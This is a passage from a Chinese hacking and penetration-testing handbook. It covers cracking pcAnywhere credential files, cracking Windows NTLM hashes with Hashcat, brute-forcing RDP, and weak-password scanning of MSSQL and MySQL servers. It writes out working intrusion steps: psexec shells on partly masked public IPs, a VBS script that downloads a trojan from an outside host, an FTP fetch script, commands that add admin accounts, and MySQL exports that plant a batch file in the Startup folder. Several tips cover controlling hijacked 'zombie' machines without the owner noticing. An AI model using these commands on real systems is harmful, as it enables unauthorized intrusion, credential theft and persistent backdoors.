有人也曾经提出对MD5加密算法中的函数或者变量进行修改,从而加强原MD5算法的安全,但是这种方法在修改了MD5原函数或者变量后,无法验证修改后的MD5算法在强度上是否与原算法一致。

本节提出的随机数填充加密是在原有MD5加密的基础上,通过对密文截取一定位数的字符串,并使用随机数进行填充,最后得到的密文虽然是经过MD5加密的,但是其值已经大不一样,因此,通过MD5常规破解方法永远不能破解其原始密码值,从而保证了数据的安全。本节提出的通过增强原始密码的位数和强度后再使用MD5加密的方法,虽然通过MD5可以暴力破解,但由于明文密码位数的增加和自定义插入字符串的引入,也使得暴力破解的几率大大降低。虽然目前有很多攻击方法,如SQL注入、跨站攻击等,可以较容易地获取数据库中的MD5加密值,但是使用本文提到的方法进行加密,在网站或者系统代码泄露前,其数据是相对安全的,因此具有一定的参考价值。

2.15 pcAnywhere账号和口令的破解

通过一些攻击方法和手段取得了远程计算机的控制权后,可以利用其他远程控制软件查找系统中的CIF文件,通过破解CIF文件获取pcAnywhere的账号和密码,进而通过pcAnywhere客户端对远程主机进行完全控制等操作。pcAnywhere是一款比较流行的远程控制软件,其控制原理与Radmin等远程控制软件类似,需要账号和口令。不同的用户会根据个人喜好选择不同的远程管理软件,在很多情况下,管理员可能使用某一款远程管理软件管理多台计算机,根据其口令进行猜测或者安装键盘嗅探软件获取口令等信息可以渗透其内网和外网计算机。

2.15.1 查看5631端口

pcAnywhere默认的开放端口为5631。在DOS提示符下输入“sfind-p *.*.*.19”命令查看该IP地址的端口开放情况,结果表明该计算机开放了5631端口,也就是说,该计算机使用pcAnywhere软件作为远程控制软件的服务端,如图2-98所示。

图2-98 查看远程主机是否开放了5631端口

2.15.2 查找pcAnywhere账号和密码文件

通过各种攻击方法和手段成功控制该计算机以后,在其Shell或Telnet中查找pcAnywhere的账号和密码文件。pcAnywhere的账号和密码保存在一个后缀为“.cif”的文件中,在系统目录中输入命令“dir *.cif/s”,查找系统磁盘中的所有CIF文件。在本例中找到两个CIF文件,如图2-99所示,第一个文件是保存pcAnywhere账号和密码的文件,第二个是无用文件。

图2-99 查找pcAnywhere的账号和密码文件

2.15.3 破解CIF加密文件

在本例中使用Radmin的文件传输功能将文件传输到本地,然后通过pcAnywherePWD进行破解。直接运行pcAnywherePWD,在“文件”对话框中选择刚传输回来的CIF文件,单击“破解”按钮,其账号和密码就显示出来了,如图2-100所示。

图2-100 破解pcAnywhere的账号和密码

2.15.4 连接pcAnywhere服务端

pcAnywhere的安装比较简单。安装完毕后,直接运行pcAnywhere软件,在新建连接向导中输入IP地址“*.*.*.19”,并单击“完成”按钮,双击“*.*.*.19”地址所对应的标签,根据网络情况,很快就会出现pcAnywhere的服务端,要求输入用户名和密码,验证正确后可以进行完全控制等操作。如图2-101所示,通过pcAnywhere客户端对pcAnywhere服务端的操作就像对本地计算机操作一样方便。

图2-101 连接pcAnywhere服务端

注意
(1)通过pcAnywhere远程控制他人计算机时一定要小心,该远程控制软件在完全控制模式下,其鼠标和屏幕是同步进行的,也就是说,如果用户正在使用远程肉机,那么他会感觉到有人在操作其鼠标和屏幕。远程控制时速度一定要快,且要选择用户没有使用该计算机(肉机)时进行操作。
(2)拥有远程计算机(肉机)的pcAnywhere账号和口令。如果用户没有更改用户名和密码,则相当于拥有一个不被查杀的后门。

2.16 使用Hashcat破解Windows系统账号密码

本次破解对象为Windows 7用户的密码。

oclHashcat号称世界上最快的密码破解工具,是世界上第一个和唯一一个基于GPGPU规则的引擎,提供免费的多GPU(高达128个GPU)、多哈希、多操作系统(Linux和Windows本地二进制文件)、多平台(OpenCL和CUDA支持)、多算法机制,资源利用率低,基于字典攻击,支持分布式破解等。

• oclHashcat for AMD的下载地址:http://hashcat.net/files/oclHashcat-1.31.7z
• oclHashcat for NVidia的下载地址:http://hashcat.net/files/cudaHashcat-1.31.7z

oclHashcat系列软件在硬件上支持使用CPU、NVIDIAGPU、ATI GPU进行密码破解,在操作系统上支持Windows、Linux平台,并且需要安装官方指定版本的显卡驱动程序,如果驱动程序版本不对,可能导致程序无法运行。NV用户的GPU破解驱动需要ForceWare 331.67及更高版本,AMD用户则需要Catalyst 14.9及更高版本。可以通过Catalyst自动侦测和下载检测工具来检测系统应该下载那个版本,下载地址为http://support.amd.com/en-us/download/auto-detect-tool。还可以通过360软件管理直接搜索“Catalyst”,选择合适的版本安装即可。

2.16.1 准备工作

01 kali Linux操作系统或者虚拟机。

02 Windows 7操作系统或者虚拟机。

03 准备字典。可以自己生成字典工具,也可以从互联网获取字典,推荐如下字典网站。

• http://contest-2010.korelogic.com/wordlists.html
• http://www.insidepro.com/dictionaries.php

04 在Windows 7中新增一个用户antian365,密码为password。依次单击“开始”→“运行”选项,输入“cmd”并按“Shift+Ctrl+Enter”组合键,输入命令“net user antian365 password/add”,或者以管理员权限启动cmd.exe程序,执行成功后如图2-102所示。测试完毕可以通过“net user antian365/del”命令删除该账号。

图2-102 添加测试账号

05 下载SAMInside。目前,官方网站目前已经停止SAMInside软件的开发了,可以到华军软件园下载,地址为http://gwbnsh.onlinedown.net/down2/saminside.v2.6.1.0.chs.rar。

2.16.2 获取并整理密码Hash值

01 获取操作系统Hash值

获取Windows 7操作系统的Hash值有多个软件,如WCE、mimikatz、Cain、SAMInside等,在Windows Vista及以上版本中都有UAC权限控制机制。UAC(User Account Control,用户账户控制)是微软为提高系统的安全性在Windows Vista中引入的新技术,它要求用户在执行可能影响计算机运行的操作,或者执行更改影响其他用户的设置的操作之前,提供权限或管理员密码。通过在这些操作启动前对其进行验证,UAC可以帮助防止恶意软件和间谍软件在未经许可的情况下在计算机上进行安装或对计算机进行更改。因此,获取密码的工具都需要以管理员身份运行。

选择saminside.exe程序,右键单击,在弹出的快捷菜单中选择“以管理员身份运行”选项,然后在SAMInside程序主界面中单击左起第3个图标,在弹出的菜单中选择“Import local user using Scheduler”选项,如图2-103所示,即可获取本机所有账号的密码Hash值等信息。

图2-103 获取密码Hash值

02 整理Hash值

在SAMInside中,既可以导出所有账号的Hash值,也可以复制单个账号的Hash值。单击“File”菜单中的“导出用户到pwdump文件”选项,即可导出获取的Hash值。也可以选择Hash值,右键单击,在弹出的快捷菜单中依次选择“复制”→“NT Hash”选项,获取NT Hash值。对于Windows Vista及以上版本的操作系统,即使是普通的密码,也是以“AAD3B”开头的一串字符,这个值目前在Ophcrack等工具中无法破解,在SAMInside中会显示为一串“0”字符。将NT Hash值整理到一个文件中,命名为“win2.hash”,如图2-104所示。

图2-104 整理需要破解的Hash值

2.16.3 破解Hash值

将准备好的字典ptemp.txt、需要破解的Hash值文件win2.hash复制到oclHashcat32程序所在的文件夹下,执行以下命令进行破解。



     oclHashcat32 -m 1000 -a 0 -o winpass1.txt --remove win2.hash ptemp.txt

• “-m 1000”表示破解密码类型为NTLM。
• “-a 0”表示采用字典破解。

• “-o”表示将破解后的结果输出到winpass1.txt。
• “--remove win2.hash”表示将移除破解成功的Hash。
• “ptemp.txt”为密码字典文件。

如果密码字典较大,可能会显示“[s]tatus [p]ause [r]esume [b]ypass [q]uit =>”。输入“s”显示破解状态,输入“p”暂停破解,输入“r”继续破解,输入“b”忽略破解,输入“q”退出。所有成功破解的结果都会自动保存在oclHashcat.pot文件中。破解结束,会显示如图2-105所示的信息。

图2-105 显示破解信息

2.16.4 查看破解结果

使用“type winpass1.txt”命令查看破解结果,如图2-106所示,该账号的密码为“password”。

图2-106 查看密码破解结果

2.16.5 小结

oclHashcat功能强大,基本上能够破解目前市面上常见的密码加密算法。Discuz!论坛密码算法md5(md5($pass). $salt),破解命令为“oclHashcat32-m 2611-a 0-o winpass1.txt--remove dz. hash ptemp.txt”;Linux SHA-512加密方式,破解命令为“oclHashcat32-m 1800 sha512linux.txt p.txt”;Linux下MD5加密方式,破解命令为“oclHashcat32-m 500 linuxmd5.txt p.txt”。

本节所用到的工具的下载地址为http://www.antian365.com/lab/project01/project01.rar,解压密码为“antian365”。

第3章 Web漏洞扫描

Web渗透技术的核心就是发现Web漏洞。发现Web漏洞有手工和软件自动扫描两种方式。对于用户验证漏洞、用户凭证管理问题、权限特权及访问控制漏洞、缓存漏洞、跨站脚本漏洞、加密漏洞、路径切换漏洞、代码注入漏洞、配置漏洞、数据和信息泄露、输入验证漏洞、操作系统命令脚本注入、资源管理漏洞、SQL注入等常见漏洞,都可以通过Web扫描器进行扫描。

可以通过Jsky、Acunetix Web Vulnerability Scanner、Safe3等扫描工具获取常见的漏洞信息,再通过手工方式对Web漏洞进行测试和利用。扫描工具的使用相对简单,但各个扫描工具的扫描结果又有所不同。在条件允许的情况下,可以进行交叉扫描,即使用所有扫描器对目标进行扫描,然后分析和查看扫描结果,有时会取得意想不到的效果。

本章介绍了如何对Windows系统账号、3389账号、路由器账号等进行扫描,还介绍了常见的一些Web漏洞扫描工具的利用。

本章主要内容

 Windows系统口令扫描及利用

 使用HScan扫描及利用漏洞

 使用X-Scan扫描漏洞

 使用Acunetix Web Vulnerability Scanner扫描及利用网站漏洞

 使用Jsky扫描并渗透某管理系统

 使用Router Scan扫描路由器密码

3.1 Windows系统口令扫描

口令扫描攻击是网络攻击中最常见的一种攻击方法。入侵者攻击目标时将破译用户的口令作为攻击的开始,只要能猜测或者确定用户的口令,就能获得机器或者网络的部分或全部访问权,并能访问用户能访问的任何资源。如果这个用户有域管理员或root用户权限,入侵者可以破解域用户口令并实施网络渗透等,安全风险极高。

口令扫描攻击有两种方式:一种是不知道用户名称,采用猜测性暴力攻击;另外一种是通过各种工具或者手段收集用户信息,利用收集的信息实施攻击。后者攻击效果好于前者。

口令扫描时必须获取用户的账号名称。获取用户账号的方法很多,主要有以下5种。

• 利用网络工具获取:可以利用目标主机的Finger命令查询功能获取信息。当使用Finger命令进行查询时,主机系统会将保存的用户资料(如用户名、登录时间等)显示在终端或计算机上。还可以利用没有关闭X.500服务的主机的目录查询服务等获取信息。
• 通过网络获取用户的相关信息。用户个人计算机的账号往往是用户喜欢的昵称或者名字,用户常使用这些名字注册电子邮箱、Blog及论坛等。这些信息往往会透露其所在目标主机上的账号。
• 获取主机中的习惯性账号:习惯性账号主要包括操作系统账号和应用软件账号。操作系统账号又分为Windows账号和Linux/UNIX账号。在Linux/UNIX操作系统中,习惯性地将系统中的用户基本信息存放在passwd文件中,而所有的口令则经过DES加密方法加密后专门存放在一个叫做shadow的文件中。黑客获取口令文件后,就可以使用专门破解DES加密法的程序破解口令。很多应用软件都有保留账号和口令的功能,其账号和口令常常保存在一个文件中,获取这些文件后,通过单独的口令破解软件完全可以获取用户账号和口令。
• 通过网络监听得到用户口令:这类方法有一定的局限性,但危害性极大。监听者往往采用中途截击的方法获取用户账号和密码,在ARP攻击中尤为有用。当前,很多协议根本就没有采用任何加密或身份认证技术,如在Telnet、FTP、HTTP、SMTP等传输协议中,用户账户和密码信息都是以明文格式传输的,此时攻击者利用数据包截取工具便可很容易地收集用户的账户和密码。还有一种中途截击攻击方法,它在用户与服务器端完成三次握手并建立连接之后,在通信过程中扮演“第三者”的角色,先假冒服务器身份欺骗用户,再假冒用户向服务器发出恶意请求,造成的后果不堪设想。另外,攻击者有时还会利用软件和硬件工具时刻监视系统主机的工作,等待记录用户登录信息,从而取得用户密码,或者编制含有缓冲区溢出错误的SUID程序以获得超级用户权限。
• 通过软件获取:在获得一定的Shell以后,可以通过PwDump、LC5、NTCrack、MT、ADUMP等工具获取系统账号及口令。

3.1.1 使用NTScan扫描Windows口令

通过本案例可以学到如下内容。

   

图3-1 设置NTScan   

• 如何进行Windows口令扫描。
• 如何利用NTScan扫描Windows口令。

Windows口令扫描攻击主要针对某一个IP地址或者网段进行口令扫描,实质是通过139、445等端口尝试建立连接,利用DOS命令“net use\\ipaddress\admin$ “password”/u:user”,只不过是通过程序实现而已。

下面的案例通过扫描软件NTScan成功获取口令并成功实施控制。

01 设置NTScan

运行NTScan。在NTScan中一般只需要设置开始IP地址和结束IP地址,其他设置均采用默认值,如图3-1所示。

说明
(1)如果是在肉机上进行口令扫描,由于语言版本的不同,若操作系统不支持相应语言的显示,就有可能显示为乱码,这时只能凭对系统的熟悉程度进行设置。本例是在英文操作系统中使用NTScan,其运行界面中的一些汉字显示为“?”,但是不影响扫描,如图3-2所示。
图3-2  NTScan显示乱码
(2)在NTScan中有IPC、SMB和WMI 3种扫描方式,第一种和第三种扫描口令较为有效,第二种主要用来扫描共享文件。利用IPC$可以与目标主机建立一个空的连接而无须用户名和密码,还可以得到目标主机上的用户列表。SMB(服务器信息块)协议是一种IBM协议,用于在计算机间共享文件、打印机、串口等。SMB协议可以用在因特网的TCP/IP协议之上,也可以用在其他网络协议,如IPX和NetBEUI之上。
(3)WMI(Windows管理规范)是Windows的一项核心管理技术。作为一种规范和基础结构,通过WMI可以访问、配置、管理和监视几乎所有Windows资源。例如,用户可以在远程计算机上启动一个进程,设定一个在特定日期和时间运行的进程,远程启动计算机,获得本地或远程计算机的已安装程序列表,查询本地或远程计算机的Windows事件日志等。一般情况下,用户只要拥有该计算机的管理员权限,即可在本地计算机上执行WMI操作,也可以在远程计算机上执行。如果用户对远程计算机拥有权限并且远程计算机支持远程访问,那么用户就可以连接该远程计算机并执行相应权限的操作。

02 执行扫描

在NTScan运行界面中单击“开始”按钮,或者单击左窗口下方的第一个按钮(如果显示为乱码),开始扫描,如图3-3所示。

图3-3 扫描口令

说明
(1)NTScan扫描口令与字典有关,其原理就是使用字典中的口令与实际口令进行对比,如果相同即可建立连接,即破解成功,破解成功后会在下方显示。
(2)NTScan的字典文件为NT_pass.dic,用户文件为NT_user.dic,可以根据实际情况对字典文件和用户文件的内容进行修改。
(3)NTScan扫描结束后,会在NTScan程序的当前目录下生成一个NTScan.txt文件,该文件用于记录扫描结果,如图3-4所示。
图3-4  NTScan扫描记录文件
(4)在NTScan中还有一些辅助功能,如单击右键后可以执行“cmd”命令,单击左键后可以执行“连接”、“打开远程登录”及“映射网络驱动器”等命令,如图3-5所示。
图3-5  NTScan辅助功能

03 实施控制

在DOS命令提示符下输入“net use \\221.*.*.*\admin$ "mrs6100"/u:administrator”命令,获取主机的管理员权限。如图3-6所示,命令执行成功。

图3-6 建立连接

04 执行Psexec命令

输入“psexec\\221.*.*.* cmd”命令,获取一个DOSShell,如图3-7所示。

图3-7 获取DOSShell

说明
(1)以上两步可以合并。在DOS命令提示符下输入“psexec \\ipaddress-u administrator-ppassword cmd”。例如,在上例中可以输入“psexec \\221.*.*.*-u Administrator-pmrs6100 cmd”命令获取一个DOS下的Shell。
(2)在有些情况下,“psexec \\ipaddress-u administrator-ppassword cmd”命令不能正常执行。

05 从远端查看被入侵计算机的端口开放情况

使用“sfind-p 221.*.*.*”命令依次查看远程主机端口的开放情况。第一台主机仅仅开放了4899端口,第二台主机开放了80和4899端口,第三台主机开放了3389端口,如图3-8所示。

图3-8 查看端口开放情况

06 上传文件

在该DOSShell下执行文件下载命令,将一些工具软件或者木马软件上传到被攻击的计算机中,如图3-9所示。

图3-9 上传文件

07 查看主机基本信息

执行“systeminfo info”命令可查看被入侵计算机的基本信息。该计算机的操作系统为Windows 2000 Professional,如图3-10所示。

图3-10 查看主机基本信息

说明
(1)可以使用以下VBS脚本命令上传文件。


     echo with wscript:if .arguments.count^<2 then .quit:end if >dl.vbe 

     echo  set  aso=.createobject("adodb.stream"):set 

web=createobject("microsoft.xmlhttp") >>dl.vbe

     echo  web.open  "get",.arguments(0),0:web.send:if  web.status^>200  then 

quit >>dl.vbe

     echo  aso.type=1:aso.open:aso.write 

web.responsebody:aso.savetofile .arguments(1),2:end with >>dl.vbe

     cscript dl.vbe http://www.mymuma.com/software/systeminfo.exe systeminfo.exe 

(2)如果不能通过执行VBS脚本上传文件,可以通过执行FTP命令上传文件。FTP命令如下。


     echo open 192.168.1.1 >b 

     echo ftp>>b

     echo ftp>>b

     echo bin>>b

     echo get systeminfo.exe >>b

     echo bye >>b

     ftp -s:b 

(3)上传文件时,建议先使用“dir filename”命令查看文件是否存在,上传后再次通过“dir filename”命令查看文件是否上传成功。

小结

本案例通过NTScan扫描工具软件扫描主机口令,配合psexec等命令成功控制并扫描使用弱口令的计算机。

3.1.2 使用Tscrack扫描3389口令

3389终端攻击主要通过3389破解登录器(Tscrack)实现。Tscrack是微软远程终端服务(3389)的测试产品,有人将其做了一些修改,可以用来破解3389口令,其核心原理就是利用字典配合远程终端登录器尝试登录,一旦登录成功,则认为破解成功。能否破解成功主要取决于字典强度和时间长度。

01 Tscrack初次运行时需要进行安装,直接运行tscrack.exe程序即可。如果不能正常运行,则需要运行“tscrack-U”命令卸载Tscrack中的组件后再运行tscrack.exe。运行成功后,会提示安装组件、解压缩组件、注册组件成功,如图3-11所示。

图3-11 安装Tscrack程序

02 寻找开放了3389端口的IP地址。在DOS提示符下输入命令“sfind-p 220.*.*.*”,探测其端口开放情况,如图3-12所示。

图3-12 探测3389端口

03 构建字典文件100words.txt,在该文件中加入破解口令,每一个口令占用独立的一行,且行尾无空格。编辑完成后,如图3-13所示。

图3-13 构建字典文件

04 编辑破解命令。如果仅仅是对单个IP地址进行破解,其破解命令格式为“tscrack ip-w 100words.txt”,如果是对多个IP地址进行破解,则可以将IP地址整理成一个文件,每一个IP地址占一行,且行尾无空格,将其保存为ip.txt,然后编辑一个批命令,如图3-14所示。

图3-14 编辑破解命令

说明
(1)原程序tscrack.exe可以更改为任意名称。100words.txt也可以是任意名称。
(2)如果是对多个IP地址进行破解,则字典文件不能太大,否则破解时间会很长。建议针对单一的IP地址进行破解。

05 破解3389口令。运行批命令后,远程终端破解程序开始破解,Tscrack会使用字典的口令逐一尝试登录,程序会自动输入密码。如图3-15所示,在程序破解过程中不要手工进行干涉,让程序自动进行破解。

图3-15 破解口令

06 破解成功,程序自动结束,显示破解的口令和破解所花费的时间,如图3-16所示。

图3-16 破解口令成功

07 使用口令和用户名登录。运行mstsc.exe打开终端连接器,输入IP地址进行连接,在3389连接界面中输入刚才破解的密码和Administrator用户名,连接成功,如图3-17所示。

图3-17 进入远程终端桌面

说明
(1)Tscrack破解3389终端口令后不会生成log文件,破解的口令显示在DOS窗口中,一旦DOS窗口关闭,所有结果都不会保存。
(2)如果对多个IP地址进行3389终端口令破解,Tscrack程序将对所有IP地址尝试破解后才会停止。
(3)Tscrack破解3389终端口令对应的用户只能是Administrator,对其他用户无能为力。

小结

本案例通过Tscrack程序破解远程终端(3389)的口令。只要字典足够强大,时间足够,如果对方未采取IP地址登录限制等安全措施,则其口令在理论上是肯定可以破解的。应对3389远程终端口令破解的安全措施是进行IP地址信任连接,或者通过一些软件限制只有某些IP地址才能访问远程终端。

3.1.3 使用Fast RDP Brute暴力破解3389口令

Fast RDP Brute是俄罗斯的Roleg开发的一款暴力破解工具,主要用于扫描远程桌面连接弱口令,官方网站下载地址为http://stascorp.com/load/1-1-0-58,界面如图3-18所示。Tscrack主要针对Windows 2000 Server操作系统,对Windows 2003及以上版本效果较差,而Fast RDP Brute则针对所有版本。

图3-18 程序主界面

1.设置主要参数

• Max threads:设置扫描线程数,默认值为1000,一般不用修改。
• Scan timeout:设置超时时间,默认值为2000,一般不用修改。
• Thread timeout:设置线程超时时间,默认值为60000,一般不用修改。
• Scan ports:设置要扫描的端口,根据实际情况设置,默认值为3389、3390和3391。在实际扫描过程中,如果是对某个已知IP地址和端口进行扫描,建议删除多余端口。例如,对方端口为3388,则只保留3388即可。
• IP ranges to scan:设置扫描的IP地址范围。
• 用户名和密码:可以在文件夹下的user.txt和pass.txt文件内自行设置。如图3-19所示,在默认的user.txt文件中包含俄文的管理员,一般不使用,可以根据实际情况进行设置。

图3-19 设置暴力破解的用户名和密码字典

2.局域网扫描测试

本次测试采用VMware环境,搭建了两个平台,扫描主机IP地址为192.168.148.128,被扫描主机IP地址为192.168.148.132,操作系统为Windows 2003,开放3389端口。在该服务器上新建test、antian365用户,并将设置的密码复制到扫描字典中,单击“Start scan”按钮进行扫描,扫描结果如图3-20所示。

图3-20 扫描结果

注意
(1)在192.168.148.132服务器上必须开启3389。
(2)在扫描服务器上执行mstsc命令,输入IP地址192.168.148.132进行3389登录测试,看看能否访问网络。如果无法访问网络,则扫描无效。

3.总结与思考

• 该软件虽然提供多个用户同时扫描的机制,但只要扫描出一个结果后,就停止扫描。对于多用户扫描,可以在扫描出结果后,将已经扫描出来的用户删除,再进行扫描,或者针对单用户进行扫描。
• 扫描时间过长或者连接次数较多时,会显示“too many errors”错误。
• 该软件可以对单个用户进行已知密码扫描。在已经获取内网权限的情况下,可以对整个网络中开放3389端口的主机进行扫描,以获取权限。
• DUBrute V4.2 RC也可以进行3389密码暴力破解测试,测试环境同上,实际测试效果无法破解。

3.1.4 SQL Server 2000口令扫描

通过本案例可以学到如下内容。

• 一种扫描MSSQL口令的方法。
• 通过SQLCMD连接数据库,并在SQLCMD提示符下执行各种命令。

SQL Server 2000数据库一般都是安装在Server操作系统中。在网络入侵过程中,对数据库的攻击也是典型的攻击手段之一,加之目前市面上很多安全检测和入侵软件均具有数据库口令扫描功能,所以一旦获取数据库中sa用户的口令,入侵者就可以执行添加用户等危险命令,数据库很容易被入侵者完全控制。常见的数据库攻击主要有以下几种。

(1)通过互联网直接连接进行攻击

数据库要想正常使用,必须开放1433(1434)或者指定端口。这些端口在互联网上都可以探测到。如果没有对IP地址进行限制,则在互联网上的任何用户都可以访问这台服务器的1433端口,SQL Slammer蠕虫就是针对SQL服务器的漏洞实施攻击的。这些直接的攻击能够导致拒绝服务攻击、缓冲溢出和其他攻击。

(2)安全漏洞扫描

安全漏洞扫描通常是指针对操作系统、网络应用程序或者数据库系统本身的弱点进行扫描。攻击者在安全扫描过程中可以很轻松地发现没有使用SQL安全补丁、互联网信息服务(IIS)设置弱点及SNMP(简单网络管理协议)等漏洞并实施攻击,从而攻破数据库。入侵者在攻击过程中可能使用公开的工具,也可能使用专用工具,还可能利用一些大型公司提供的安全扫描程序,如Qualys的普通扫描工具QualysGuard、SPI Dynamics的网络应用程序扫描工具WebInspect等。

(3)列举SQL服务器解析服务攻击

Chip Andrews的SQLPing v2.5可用来查看SQL服务器系统、查看数据库实例及确定版本编号等。当长时间的SQL服务器请求发送到UDP端口1434的广播地址时,会出现缓冲溢出问题。

(4)破解SA口令

攻击者可以通过破解SA口令的方法进入SQL服务器数据库。Application安全公司的AppDetective和NGS软件公司的NGSSQLCrack等商业性工具软件都有破解sa口令的功能,还有一些扫描工具软件也可以很好地破解sa口令。在下面的案例中,我们会着重介绍如何扫描sa口令并实施完全控制。

(5)直接利用安全漏洞攻击

可以利用Metasploit等工具软件直接实施攻击。Metasploit利用在正常的安全漏洞扫描过程中发现的安全漏洞实施攻击,这种攻击手段非常有效,攻击者还可利用这种手段突破系统、从事代码注入或者取得未经授权的命令行访问权限。

(6)SQL注入攻击

SQL注入攻击是目前网络上最为流行的一种攻击方式,主要通过构建SQL语言脚本实施攻击。目前网上有很多流行的SQL注入攻击工具,如“教主”的HDSI 3.0、“明小子”的Domain 3.5等。利用这些工具实施攻击,操作很简单。

(7)Google hacks

Google hacks利用Google搜索引擎不同寻常的力量搜索出可公开访问的系统泄露的SQL服务器错误,如“Incorrect syntax near”,黑客能够使用Google找到口令、网络服务器中的安全漏洞、基本的操作系统、公开提供的程序及其他能够用来攻破SQL服务器系统的东西。

(8)熟读网站源代码寻找0day漏洞

目前,很多网站的BBS、Blog、文章系统、内容管理系统都是使用公开发行的版本,通过阅读这些公开程序的源代码,研究和分析系统代码中存在的问题——这些问题极有可能是0day漏洞,找到问题以后就可以利用并实施攻击和控制。

下面是使用HScan扫描MSSQL口令并实施攻击的一个案例。

01 设置HScan

运行Hscangui程序后,分别设置一个扫描IP段的起始IP地址和结束IP地址,然后在扫描模块中只选中“check MSSQL weak accounts”选项,如图3-21所示。设置完毕,在菜单中单击“start”命令进行扫描。

图3-21 设置扫描MSSQL弱口令模块

02 查看扫描结果

在HScan扫描中有3个地方存放了扫描结果:第一个是Reports文件夹下的html文件;第二个是log文件夹下的Hscan.log;第三个是HScan扫描窗口左下方区域,该区域中显示了IP地址、用户名称(username)、口令(password)及类型(type),如图3-22所示。

图3-22  HScan的扫描结果

注意
(1)Hscan.log文件中的内容,每次扫描时都会进行完全覆盖,不保留以前的扫描记录。因此,每次扫描结束后,必须更改该文件的名称或者将其另存为其他文件。
(2)关闭HScan-GUI程序后,HScan扫描区域左下方的扫描结果会自动清除。

03 连接数据库

选中类型为“MSSQL”的记录,在扫描结果区域单击左键,选择“connect”命令直接连接数据库,连接成功以后如图3-23所示。

图3-23 连接MSSQL数据库

注意
在选择记录时一定要小心,右键是清除(Clean)记录命令,左键是连接(Connect)命令,清除扫描结果以后不能恢复。

04 执行命令

在SQLCMD提示符下分别输入命令“net user”、“net user aspnet aspnet* * * *”、“net localgroup administrators aspnet/add”,查看并添加“aspnet”用户,口令为“aspnet****”,提升“aspnet”用户的权限到Administrators组中,如图3-24所示。

图3-24 执行命令

说明
(1)由于这种弱口令的MSSQL服务器极有可能有多个入侵者进行了扫描,入侵者在入侵成功后会将一些存储过程删除,导致SQLCMD能够连接却不能执行命令。这个时候,可以通过SQL查询分析器连接该数据库,连接成功后即可查看数据服务器中的数据库,将数据库中表的内容(如user表等)配合Web实施控制。数据库中的一些表包含用户名称和密码等信息。
(2)通过“net localgroup administrators”命令可以查看刚才添加的具有管理员权限的用户aspnet。在本例中可以看到有多个管理员用户,说明该计算机已经被入侵,如图3-25所示。
图3-25 查看所有管理员用户

05 执行其他控制命令

在DOS命令提示符界面输入“psexec \\218.*.*.212 cmd-u aspnet-paspnet2005”,找出一个DOSShell,可以在该Shell中上传木马程序、开启3389远程终端服务等。

小结

本案例主要通过扫描MSSQL弱口令实施攻击。一旦扫描出MSSQL的弱口令,则很容易通过HScan的SQLCMD连接工具进行连接。连接成功后,如果与在DOS下的操作命令相同,就相当于一个DOS下的Shell,可以执行各种命令。

3.1.5 MySQL口令扫描案例

MySQL作为一款免费数据库,如今在网络上已被广泛使用。由于在MySQL数据库中不能执行命令,所以,MySQL数据库在攻击难度上高于MSSQL数据库。研究表明,有3种思路可以对MySQL进行攻击,攻击的前提条件是已经获得了MySQL的用户名和密码。

• 创建表,并在表中插入VBS脚本,通过导出表命令将VBS脚本导出到程序启动列表,当计算机重启时便会执行VBS脚本。
• 查看数据库表中的内容。目前使用MySQL数据库的服务器一般与Web服务器结合得比较紧密,通过查看MySQL数据库中有关用户及密码信息的表,特别是含有管理员信息的表,结合WebShell等,就可以实施控制。
• 利用MySQL应用程序漏洞进行攻击,查看MySQL的版本并利用MySQL溢出等程序对服务器进行溢出攻击。

本例主要介绍以上第一种和第二种情况,其他情况读者可以自行尝试。

01 设置HScan

设置扫描的起始IP地址和结束IP地址,在扫描模块中选择“check MySQL weak account”选项,如图3-26所示。设置完毕,在“menu”菜单中选择“start”选项,开始扫描MySQL弱口令。

图3-26 设置MySQL扫描参数

02 查看扫描结果

扫描结束后,在HScan左下方区域会显示详细的扫描结果,如图3-27所示。

图3-27  MySQL扫描结果

03 连接数据库并查看数据库服务器中的数据库

单击选择一条扫描记录,然后单击“connect”命令,连接MySQL数据库。在MySQL数据库中,所有的命令都是在DOS提示符下运行的。连接成功后会出现MySQL的提示符,在其中输入“show databases;”命令查看数据库服务器中的数据库,如图3-28所示。

图3-28 连接并查看MySQL数据库服务器中的数据库

说明
(1)MySQL数据库开放的端口是3306端口,如果不使用HScan软件直接进行连接,可以使用MySQL数据库连接命令进行连接。
(2)在MySQL中,执行命令时需要在每一个语句后面加上“;”才能使命令成功运行。
(3)在MySQL中有一些常用命令。“show databases;”命令用于查看数据库服务器中的数据库,“show tables;”命令用于查看当前数据库中的表,“use databasename;”命令表示数据库名称为“databasename”的数据库为当前数据库。
(4)在对被入侵服务器的MySQL发动攻击前,要扫描被入侵服务器的端口开放情况,以便后期控制。一般选择开放23、4899、3389端口的服务器。

04 创建表并将VBS脚本插入表

依次运行以下命令,完成后如图3-29所示。

图3-29 创建表和将VBS脚本插入表中

• show databases;
• use test;
• show tables;
• create table a (cmd text);
• insert into a values ("set wshshell=createobject (""wscript.shell"" ) " );
• insert into a values("a=wshshell.run(" "cmd.exe/c net user aspnet aspnettest/add " ",0) ");
• insert into a values ("b=wshshell.run (""cmd.exe/c net localgroup Administrators aspnet/add" ",0)");
• select * from a;

05 导出VBS脚本到启动

使用以下命令将刚才在a表中创建的VBS脚本导出到启动选项中。



     select * from a into outfile "C:\\Documents and Settings\\All Users\\「开始」

菜单\\程序\\启动\\a.vbs";

导入成功后,系统重新启动时会自动添加密码为“1”且用户名为“1”的用户到管理员组中。在实际使用过程中,该脚本成功执行的几率比较低,有时会出现不能导出的错误,如图3-30所示。

图3-30 导出脚本错误

推荐使用以下脚本。



     show databases;

     use test;

     show tables;

     create table b (cmd text); 

     insert into b values ("net user Aspnet 123545345!* /add");

     insert into b values ("net localgroup administrators Aspnet /add");

     insert into b values ("del b.bat");

     select * from b into outfile "C:\\Documents and Settings\\All Users\\「开始」

菜单\\程序\\启动\\b.bat";

该脚本执行后会闪现DOS窗口,如果有权限导入启动选项中,则一定会执行成功。在虚拟机中通过MySQL连接器连接并执行以上命令后,在“C:\Documents and Settings\All Users\「开始」菜单\程序\启动”目录中会有刚才导出的b.bat脚本文件,如图3-31所示。

图3-31 导出bat脚本到启动选项

说明
在不同的操作系统中“C:\Documents and Settings\All Users\「开始」菜单\程序\启动”目录文件名称可能会不同,这个时候将其换成相应的目录名称即可。如果是英文版本的操作系统,则其插入的代码如下。


     select  *  from  b  into  outfile  "C:\\Documents  and  Settings\\All  Users\\Start

Menu\\Programs\\Startup\\b.bat";

06 等待重启和实施控制

如果该计算机开放了3389端口,则可以直接进行连接;如果将b.bat换成其他bat命令,则可以执行其他命令来实施控制。

说明
